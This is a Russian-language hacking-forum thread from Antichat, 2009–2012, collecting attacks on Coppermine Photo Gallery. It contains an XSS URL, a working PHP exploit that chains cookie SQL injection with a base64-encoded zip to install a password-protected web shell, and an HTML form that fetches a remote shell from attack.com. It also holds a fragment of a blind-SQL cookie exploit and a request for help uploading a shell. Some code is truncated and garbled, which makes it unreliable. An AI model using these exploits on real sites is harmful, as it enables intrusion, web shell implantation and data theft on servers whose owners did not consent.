Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Веб-уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=114)
-   -   [ Обзор уязвимостей Coppermine Photo Gallery ] (https://forum.antichat.xyz/showthread.php?t=59410)

HIVER 17.04.2009 17:15

Цитата:

img_dir=include/config.inc.php
Слово dir тебе ни о чем не говорит?

Код:

SET pheight = ,pwidth = ,
А мануал по sql запросам читал?

Foster 17.04.2009 18:21

Цитата:

Слово dir тебе ни о чем не говорит?
Говорит о том что переменая img_dir это всего лишь часть фактического пути, который создается несколькими переменными.

А насчет SET pheight = ,pwidth = , не совсем понимаю что ты имел ввиду.
И ещё одно img_dir подставляю в свою форму, но никак не могу найти то место в скрипте где она фигурировала бы.

Dr.Gonzo 14.05.2009 23:40

Coppermine Photo Gallery 1.4.21 XSS

Код HTML:

http://somehost/docs/showdoc.php?css=1>">XSS%3B

Dr.Gonzo 26.05.2009 23:35

Coppermine Photo Gallery <= 1.4.22

Несколько уязвимостей, работающих только при условиях:
register_globals = On
magic_quotes_gpc = Off

В том числе SQL-инъекция при условиях возможности региться
И blind-sql при условии, что разрешена "ecard logging system" (по дефолту нет)

Уязвимости

Сплойт, использующий эти уязвимости

[underwater] 31.08.2009 19:21

Открываем файл include/init.inc.php:
Код:

$HTML_SUBST = array('&' => '&', '"' => '"', '<' => '<', '>' => '>', '%26' => '&', '%22' => '"', '%3C' => '<', '%3E' => '>','%27' => ''', "'" => ''');
$keysToSkip = array('_POST', '_GET', '_COOKIE', '_REQUEST', '_SERVER', 'HTML_SUBST');

if (get_magic_quotes_gpc()) {
if (is_array($_POST)) {
foreach ($_POST as $key => $value) {
if (!is_array($value))
$_POST[$key] = strtr(stripslashes($value), $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get('register_globals') == '1') unset($$key);
}
}

if (is_array($_GET)) {
foreach ($_GET as $key => $value) {
unset($_GET[$key]);
$_GET[strtr(stripslashes($key), $HTML_SUBST)] = strtr(stripslashes($value), $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get('register_globals') == '1') unset($$key);
}
}

if (is_array($_COOKIE)) {
foreach ($_COOKIE as $key => $value) {
if (!is_array($value))
$_COOKIE[$key] = stripslashes($value);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get('register_globals') == '1') unset($$key);
}
}
if (is_array($_REQUEST)) {
foreach ($_REQUEST as $key => $value) {
if (!is_array($value))
$_REQUEST[$key] = strtr(stripslashes($value), $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get('register_globals') == '1') unset($$key);
}
}
} else {
if (is_array($_POST)) {
foreach ($_POST as $key => $value) {
if (!is_array($value))
$_POST[$key] = strtr($value, $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get('register_globals') == '1') unset($$key);
}
}

if (is_array($_GET)) {
foreach ($_GET as $key => $value) {
unset($_GET[$key]);
$_GET[strtr(stripslashes($key), $HTML_SUBST)] = strtr(stripslashes($value), $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get('register_globals') == '1') unset($$key);
}
}

if (is_array($_COOKIE)) {
foreach ($_COOKIE as $key => $value) {
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get('register_globals') == '1') unset($$key);
}
}
if (is_array($_REQUEST)) {
foreach ($_REQUEST as $key => $value) {
if (!is_array($value))
$_REQUEST[$key] = strtr($value, $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get('register_globals') == '1') unset($$key);
}
}
}

Теперь смотрим файл coppermine.inc.php:
Код:

$sessioncookie = $_COOKIE[$this->client_id];
 // Create the session id by concat(session_cookie_value, client_id)
$session_id = $sessioncookie.$this->client_id;

......

// Check for valid session if session_cookie_value exists
if ($sessioncookie) {

// Check for valid session
$sql = 'select user_id from '.$this->sessionstable.' where session_id=md5("'.$session_id.'");';

Используем експлоит:
Код:

Coppermine Photo Gallery SQL注射+命令执行漏洞
漏洞影响 version < 1.4.16
欢迎访问 http://www.80sec.com
漏洞发现 jianxin#80sec.com

用法: php.exe exp.php www.80sec.com /cpg1416/

获得webshell地址在
http://www.80sec.com/cpg1416/plugins/loveshell.php
密码 shell
Good Luck :)

+------------------------------------------------------------------+
");

ini_set("max_execution_time",0);
error_reporting(7);

$blogpath="$argv[2]";
$server="$argv[1]";
$cookie='';

$evilzip="UEsDBBQAAAAIAGeTdDgKL31nOgAAADsAAAANAAAAbG92ZXNoZWxsLnBocLOxL8go4OVKLUvM0VCJD3INDHUNDolWL85IzclRj9W05uWyt+Pl8skvSwULKTjn56YWK3ikFqUqAgBQSwECFAAUAAAACABnk3Q4Ci99ZzoAAAA7AAAADQAAAAAAAAABACAAAAAAAAAAbG92ZXNoZWxsLnBocFBLBQYAAAAAAQABADsAAABlAAAAAAA=";

$evilzip=base64_decode($evilzip);

$data=<<
-----------------------------12345671234567
Content-Disposition: form-data; name="plugin"; filename="c:\\1.zip"
Content-Type: application/x-zip-compressed

$evilzip
-----------------------------12345671234567
www_80sec_com;

$temp=send('',"index.php");
preg_match_all('/Set-Cookie: ([a-f0-9]+)=/i',$temp,$cookiepre);

$cookiepre=$cookiepre[1][0];

if($cookiepre){
echo "Make Evil Data!\t\r\n";
$cookie=$cookiepre.'='.urlencode('")union/**/select/**/1/*;');
}

echo "Make Evil Shell!\t\r\n";
send($data,"pluginmgr.php?op=upload",'multipart/form-data; boundary=---------------------------12345671234567');

$shell="http://$server".$blogpath."plugins/loveshell.php";

echo "Look at $shell :) \r\n";
echo "Or login with cookie ".urlencode('")union/**/select/**/1/*;')."\r\n";

function send($cmd,$script,$type='')
{
global $blogpath,$server,$cookie,$count,$useragent,$debug,$evilip;

$type ? $content=$type : $content="application/x-www-form-urlencoded";

$path=$blogpath."$script";
$message = "POST ".$path." HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Referer: http://".$server.$path."\r\n";
$message .= "Content-Type: $content\r\n";
$message .= "User-Agent: ".$useragent."\r\n";
$message .= "Host: ".$server."\r\n";
$message .= "Content-length: ".strlen($cmd)."\r\n";
$message .= "Connection: Keep-Alive\r\n";
$message .= "Cookie: ".$cookie."\r\n";
$message .= $evilip."\r\n";
$message .= $cmd."\r\n";

//echo $message;
$fd = fsockopen( $server, 80 );
fputs($fd,$message);
$resp = "

";
  while($fd&&!feof($fd)) {
  $resp .= fread($fd,1024);
  }
  fclose($fd);
  $resp .="

";
if($debug) {echo $cmd;echo $resp;}
//echo $resp;
return $resp;
}
?>


(Dm) 14.10.2009 01:52

Coppermine Photo gallery - Remote PHP File Upload
 
Coppermine Photo gallery - Remote PHP File Upload для версии 1.3.3
Код:

<html>
    <form action="http://cpg133/picEditor.php?img_dir=http://attack.com/&CURRENT_PIC[filename]=/shell.php"
method=post>
        <input name="save" value=1>
        <input name="newimage" value="shell.txt">
        <input name="HTTP_GET_VARS" value=1>
        <input type=submit>
    </form>
</html>

http://attack.com/shell.txt - веб шелл, будет доступен по адресу http://cpg133/albums/shell.php

нужны права администратора.

DNSka 21.02.2010 23:39

кто нибудь находил уязвимости в Coppermine Photo Gallery 1.4.23 ??

vovakozar 22.02.2010 00:37

Цитата:

Сообщение от DNSka
кто нибудь находил уязвимости в Coppermine Photo Gallery 1.4.23 ??

Мне тоже интересно...

ysmat 02.07.2011 03:36

может конечно и не актуально уже

но может и пригодиться

пределаный сполит от rst использующий sql в куках

полностью рабочий даже на тех базах где /* уже не проходит как коментарии

Код:

  [table prefix]\n";
        print "                                  - hostname\n";
        print "                                  - web dirname \n";
        print "                                - force mode - '0' - for Off or \"album number\" for force mode On \n";

        print " example: " . $argv[0] . " coppermine.site photo/ ";
        credits();
}
###############################################
/* FUNCTIONS */
##############################################

if (!function_exists(str_split)){ ### for PHP4 "8", $str=>"1");
        $c_str = $GLOBALS['prefix'].'_albpw='.urlencode(serialize($c_str)).';'.$GLOBALS['cookies'];
        return $c_str;
        }

function getAlbum($text){
        if (preg_match("/(?)/", $text, $match)) {
                return intval($match[0]);
        }
        else return 0;

}

function getCookie($text){
        if (preg_match_all("/(?>> vulnerable: CPG 1.4.10 stable  ". $compare;
 if ( check(makeExpl($param, $crcheck, $sn)) == 1 ) {
    return blind($param, $sn, $compare, $fmax);
    }
 else {
    return blind($param, $sn, $fmin, $compare+1);
        }
}

function crack($param, $cmin, $cmax, $sn)
{
 for ($i=$cmin; $i  32) return;
        }
}

##################################################  #############
## START    E X P L O I T    C O D E
##################################################  ###########
echo '
Exploiting:
[+] target: '. $argv[1].'/'.$argv[2].'
';
        $page = 'thumbnails.php';
        $firstReply = sendit($page, 'GET');                                    //ВЫЗОВ ЗАПРОСA

        $album = $argv[3];
        $page = 'thumbnails.php?album='.$album;                                // ПОЛОЖИЛИ НОМЕР АЛЬБОМА
        $GLOBALS['album'] = $album;
        echo "[+] Valid album number: ".$album . "\n";
        $GLOBALS['cookies'] = getCookie($firstReply);                                        ### get cookie from host
        $prefix = getPrefix($GLOBALS['cookies']);                                                ### get cookie prefix
        echo "[+] Cookie prefix: " . $prefix . "\n";
        $GLOBALS['prefix']=$prefix;

        $etalon = toPage(sendit ($page, 'GET', $c_cookies));                        // ЗАПРОС ДЛЯ НАХОЖДЕНИЯ КО-ЛВО КАРТИНОК НА СТРАНИЦЕ ПО ФАКТУ ТЕГОВ

# milw0rm.com [2008-01-22]


N@b$ter 12.06.2012 22:31

Помогите залить шелл на Coppermine Photo Gallery 1.4.8 (stable)


Время: 21:21